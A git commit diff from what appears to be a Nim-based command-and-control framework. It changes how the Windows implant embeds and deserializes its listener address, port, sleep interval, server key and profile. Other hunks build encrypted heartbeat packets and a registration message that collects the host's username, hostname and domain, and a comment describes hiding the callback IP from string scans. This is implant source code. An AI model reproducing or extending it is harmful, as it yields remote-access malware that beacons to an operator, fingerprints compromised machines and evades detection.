Implemented profile embedding via patching a placeholder in the agent executable. Agent correctly deserializes and parses the profile and listener configuration.

This commit is contained in:
Jakob Friedl
2025-08-18 22:05:23 +02:00
parent 023a562be5
commit 84e8730b1e
15 changed files with 258 additions and 153 deletions

View File

@@ -6,7 +6,5 @@ nim --os:windows \
--gcc.exe:x86_64-w64-mingw32-gcc \
--gcc.linkerexe:x86_64-w64-mingw32-gcc \
-d:release \
--outdir:"$CONQUEST_ROOT/bin" \
-o:"monarch.x64.exe" \
-d:agent \
c $CONQUEST_ROOT/src/agent/main.nim

View File

@@ -1,15 +1,43 @@
import parsetoml, base64, system
import ../../common/[types, utils, crypto]
import ../../common/[types, utils, crypto, serialize]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
const ProfileString {.strdefine.}: string = ""
const CONFIGURATION {.strdefine.}: string = ""
proc deserializeConfiguration(config: string): AgentCtx =
var unpacker = Unpacker.init(config)
var agentKeyPair = generateKeyPair()
var ctx = new AgentCtx
ctx.agentId = generateUUID()
ctx.agentPublicKey = agentKeyPair.publicKey
while unpacker.getPosition() != config.len():
let
configType = cast[ConfigType](unpacker.getUint8())
length = int(unpacker.getUint32())
data = unpacker.getBytes(length)
case configType:
of CONFIG_LISTENER_UUID:
ctx.listenerId = Uuid.toString(Bytes.toUint32(data))
of CONFIG_LISTENER_IP:
ctx.ip = Bytes.toString(data)
of CONFIG_LISTENER_PORT:
ctx.port = int(Bytes.toUint32(data))
of CONFIG_SLEEP_DELAY:
ctx.sleep = int(Bytes.toUint32(data))
of CONFIG_PUBLIC_KEY:
let serverPublicKey = Bytes.toString(data).toKey()
ctx.sessionKey = deriveSessionKey(agentKeyPair, serverPublicKey)
of CONFIG_PROFILE:
ctx.profile = parseString(Bytes.toString(data))
else: discard
echo "[+] Profile configuration deserialized."
return ctx
proc init*(T: type AgentCtx): AgentCtx =
@@ -17,39 +45,30 @@ proc init*(T: type AgentCtx): AgentCtx =
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not ( defined(ListenerUuid) or
defined(Octet1) or
defined(Octet2) or
defined(Octet3) or
defined(Octet4) or
defined(ListenerPort) or
defined(SleepDelay) or
defined(ServerPublicKey) or
defined(ProfilePath)):
when not defined(CONFIGURATION):
raise newException(CatchableError, "Missing agent configuration.")
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
return deserializeConfiguration(CONFIGURATION)
# Create agent configuration
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
# var agentKeyPair = generateKeyPair()
# let serverPublicKey = decode(ServerPublicKey).toKey()
let ctx = AgentCtx(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(decode(ProfileString))
)
# let ctx = AgentCtx(
# agentId: generateUUID(),
# listenerId: ListenerUuid,
# ip: address,
# port: ListenerPort,
# sleep: SleepDelay,
# sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
# agentPublicKey: agentKeyPair.publicKey,
# profile: parseString(decode(ProfileString))
# )
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
# # Cleanup agent's secret key
# wipeKey(agentKeyPair.privateKey)
return ctx
# return ctx
except CatchableError as err:
echo "[-] " & err.msg

File diff suppressed because one or more lines are too long

View File

@@ -10,12 +10,12 @@ proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(ctx.agentId),
agentId: string.toUuid(ctx.agentId),
seqNr: 0'u32,
iv: generateIV(),
gmac: default(AuthenticationTag)
),
listenerId: uuidToUint32(ctx.listenerId),
listenerId: string.toUuid(ctx.listenerId),
timestamp: uint32(now().toTime().toUnix())
)

View File

@@ -201,14 +201,14 @@ proc collectAgentMetadata*(ctx: AgentCtx): AgentRegistrationData =
packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(ctx.agentId),
seqNr: nextSequence(uuidToUint32(ctx.agentId)),
agentId: string.toUuid(ctx.agentId),
seqNr: nextSequence(string.toUuid(ctx.agentId)),
iv: generateIV(),
gmac: default(AuthenticationTag)
),
agentPublicKey: ctx.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(ctx.listenerId),
listenerId: string.toUuid(ctx.listenerId),
username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()),